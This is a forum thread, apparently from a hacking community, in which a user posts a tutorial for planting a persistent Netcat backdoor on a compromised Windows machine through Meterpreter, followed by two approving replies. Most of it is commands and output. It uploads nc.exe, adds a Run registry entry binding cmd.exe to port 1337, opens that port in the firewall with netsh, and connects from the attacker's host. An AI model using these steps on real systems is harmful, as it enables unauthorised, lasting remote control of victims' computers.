[Charon]

Hello Sinisterly members. I will show you how to make a persistent Netcat backdoor with Metasploit, on a compromised system for example.
And we make the backdoor persistent by interacting with the system firewall and the registry.

Okay so let's start metasploit and upload Netcat or sbd.exe if you are looking for a netcat but with password protection for your shell. (BackTrack and Kali has it pre-installed)
I will be using Backtrack 5 in this tutorial.

Code:

meterpreter > upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32 [*] uploading : /tmp/nc.exe -> C:\windows\system32 [*] uploaded : /tmp/nc.exe -> C:\windows\system32nc.exe

The next step is to let Netcat listen on a random port, it does not really matter what port, but in this tutorial we'll be using port 1337. Then we want to bypass the system firewall and open the port on startup.
In order to do this we will be using the command "reg enumkey" and we will edit the key

Code:

'HKLM\software\microsoft\windows\currentversion\run'

It will look like this;

Code:

meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run Enumerating: HKLM\software\microsoft\windows\currentversion\run

Next we will use commands to get netcat or sbd.exe running on startup and open port 1337 and listen to a connection.

Code:

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 1337 -e cmd.exe' Successful set nc. meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc Key: HKLM\software\microsoft\windows\currentversion\Run Name: nc Type: REG_SZ Data: C:\windows\system32\nc.exe -Ldp 1337 -e cmd.exe

Now we have to configure the system to allow remote connections through the firewall to our netcat or SBD.exe backdoor using the interactive command promprt and running a command called "netsh"
and to see if operational mode is enabled on our firewall.

Code:

meterpreter > execute -f cmd -i Process 1604 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\ > netsh firewall show opmode Netsh firewall show opmode Domain profile configuration: ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Standard profile configuration (current): ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Local Area Connection firewall configuration: ------------------------------------------------------------------- Operational mode = Enable

As you can see here operational mode is enabled (fuck yeah). So our next step is to open port 1337 and use netcat or SBD.exe to connect to it.

Code:

C:\ > netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL netsh firewall add portopening TCP 1337 "NETCAT BACKDOOR" ENABLE ALL Ok. C:\ > netsh firewall show portopening netsh firewall show portopening Port configuration for Domain profile: Port Protocol Mode Name ------------------------------------------------------------------- 139 TCP Enable NetBIOS Session Service 137 UDP Enable NetBIOS Name Service 138 UDP Enable NetBIOS Datagram Service Port configuration for Standard profile: Port Protocol Mode Name ------------------------------------------------------------------- 1337 TCP Enable NETCAT BACKDOOR 139 TCP Enable NetBIOS Session Service 137 UDP Enable NetBIOS Name Service 138 UDP Enable NetBIOS Datagram Service

Now in order to connect to our netcat or SBD.exe backdoor you would have to run the following command:

Code:

root@charon:~# nc -v 192.168.56.60 1337

There we go, a persistent netcat/sbd.exe backdoor!

I hope you have enjoyed the tutorial.

Thanks to DES for teaching me this.

[Nefarious]

Very nice tutorial Charon.
Make some more.

[Unmasked]

Good HQ tutorial here, lets get more of these on this site!